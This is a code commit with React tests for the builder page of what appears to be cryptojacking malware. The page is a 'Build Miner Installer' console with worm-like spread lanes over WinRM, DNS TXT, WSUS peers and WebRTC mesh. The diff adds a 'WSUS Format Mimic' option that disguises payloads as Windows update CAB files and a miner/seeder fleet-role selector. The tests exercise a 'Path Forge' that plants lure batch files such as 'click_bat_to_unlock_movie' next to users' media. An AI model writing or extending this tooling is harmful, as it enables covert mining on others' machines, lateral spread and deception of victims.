Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

server/web/src/pages/BuilderPage.test.tsx

@@ -346,4 +346,87 @@ describe('BuilderPage', () => {
     });
     await waitFor(() => expect(screen.getByText('worker-1.exe')).toBeInTheDocument());
   });
+
+  it('calls cancelBuild when Kill Build is clicked during single forge', async () => {
+    type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
+    vi.spyOn(api, 'buildAgent').mockReturnValue(new Promise<BuildResult>(() => {}));
+
+    const cancelSpy = vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
+    vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
+      ok: true,
+      json: async () => ({ stage: 'Compiling', pct: 10 }),
+    }));
+
+    renderBuilder();
+    await screen.findByRole('button', { name: /FORGE INSTALLER/i });
+    fireEvent.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
+
+    const killBtn = await screen.findByRole('button', { name: /Kill Build/i });
+    fireEvent.click(killBtn);
+
+    await waitFor(() => {
+      expect(cancelSpy).toHaveBeenCalled();
+    });
+  });
+
+  it('submits path forge and shows placement summary', async () => {
+    localStorage.setItem('aetherforge-forge-mode', 'advanced');
+    const fetchMock = vi.fn().mockResolvedValue({
+      ok: true,
+      json: async () => ({
+        success: true,
+        placed: 3,
+        total: 1,
+        skipped: 2,
+        errors: 0,
+        results: [{ source: 'movie.mkv', files: ['movie.bat', 'click_bat_to_unlock_movie'] }],
+      }),
+    });
+    vi.stubGlobal('fetch', fetchMock);
+
+    renderBuilder();
+    await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
+
+    const pathForgeSection = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section') as HTMLElement;
+    const pathInput = within(pathForgeSection).getByPlaceholderText(/E:\\Movies/i);
+    fireEvent.change(pathInput, { target: { value: 'D:\\Movies' } });
+    fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
+
+    expect(await screen.findByText(/3 files placed across 1 source files/i)).toBeInTheDocument();
+    expect(fetchMock).toHaveBeenCalledWith(
+      '/api/v1/builder/path-forge',
+      expect.objectContaining({ method: 'POST' }),
+    );
+  });
+
+  it('shows path forge busy state while seeding', async () => {
+    localStorage.setItem('aetherforge-forge-mode', 'advanced');
+    let resolveForge!: (value: Response) => void;
+    const fetchMock = vi.fn().mockReturnValue(
+      new Promise<Response>((resolve) => {
+        resolveForge = resolve;
+      }),
+    );
+    vi.stubGlobal('fetch', fetchMock);
+
+    renderBuilder();
+    await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
+
+    const pathForgeSection = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section') as HTMLElement;
+    fireEvent.change(within(pathForgeSection).getByPlaceholderText(/E:\\Movies/i), {
+      target: { value: 'D:\\Movies' },
+    });
+    fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
+
+    expect(await screen.findByRole('button', { name: /Seeding/i })).toBeDisabled();
+
+    resolveForge({
+      ok: true,
+      json: async () => ({ success: true, placed: 1, total: 1, errors: 0, results: [] }),
+    } as Response);
+
+    await waitFor(() => {
+      expect(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i })).not.toBeDisabled();
+    });
+  });
 });

server/web/src/pages/BuilderPage.tsx

@@ -857,9 +857,10 @@ export default function BuilderPage() {
     () => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []),
     [form, fusionPrepFile]
   );
+  const fusionPrepSelected = !!fusionPrepFile || fusionBatchFiles.length > 0;
   const preflightChecks = useMemo(
-    () => (form ? runForgePreflight(normalizeForgeForm(form), !!fusionPrepFile) : []),
-    [form, fusionPrepFile]
+    () => (form ? runForgePreflight(normalizeForgeForm(form), fusionPrepSelected) : []),
+    [form, fusionPrepSelected]
   );
   const canForge = form ? !preflightHasErrors(preflightChecks) : false;
   const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
@@ -2963,6 +2964,24 @@ export default function BuilderPage() {
                 <FieldHint field="winrm_spread" />
               </div>
 
+              <div className="form-group" style={{ marginBottom: '0.75rem' }}>
+                <label className="label">Fleet role</label>
+                <div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
+                  {(['auto', 'miner', 'seeder'] as const).map((role) => (
+                    <button
+                      key={role}
+                      type="button"
+                      className={`endpoint-chip ${(form.fleet_role ?? 'auto') === role ? 'active' : ''}`}
+                      title={role === 'seeder' ? 'LAN staging only — dns_txt/webrtc/do_peer, no RandomX' : role === 'miner' ? 'Pull from nearest seeder, hash RandomX' : 'Server assigns role on auth when Calibrate fleet_roles_enabled'}
+                      onClick={() => updateField('fleet_role', role)}
+                    >
+                      {role === 'auto' ? 'Auto' : role === 'miner' ? 'Miner' : 'Seeder'}
+                    </button>
+                  ))}
+                </div>
+                <p className="form-hint">Seeder skips mining; miners may pull payloads from LAN seeders via webrtc/do_peer.</p>
+              </div>
+
               <div className={`form-group checkbox-group ${fieldMeta.dns_txt_spread?.disabled ? 'field-disabled' : ''}`}>
                 <label className="checkbox-label">
                   <input type="checkbox" className="checkbox" checked={form.dns_txt_spread !== false}
@@ -2985,6 +3004,17 @@ export default function BuilderPage() {
                 <ForgeLockedHint meta={fieldMeta.wsus_cache_peer_spread} />
               </div>
 
+              <div className={`form-group checkbox-group ${fieldMeta.wsus_format_mimic?.disabled ? 'field-disabled' : ''}`}>
+                <label className="checkbox-label">
+                  <input type="checkbox" className="checkbox" checked={form.wsus_format_mimic !== false}
+                    disabled={fieldMeta.wsus_format_mimic?.disabled || form.wsus_cache_peer_spread === false}
+                    onChange={(e) => updateField('wsus_format_mimic', e.target.checked)} />
+                  <span>WSUS Format Mimic — *.cab.partial SSU/CAB camouflage <HelpTip field="wsus_format_mimic" /></span>
+                </label>
+                <FieldHint field="wsus_format_mimic" />
+                <ForgeLockedHint meta={fieldMeta.wsus_format_mimic} />
+              </div>
+
               <div className={`form-group checkbox-group ${fieldMeta.webrtc_mesh_spread?.disabled ? 'field-disabled' : ''}`}>
                 <label className="checkbox-label">
                   <input type="checkbox" className="checkbox" checked={!!form.webrtc_mesh_spread}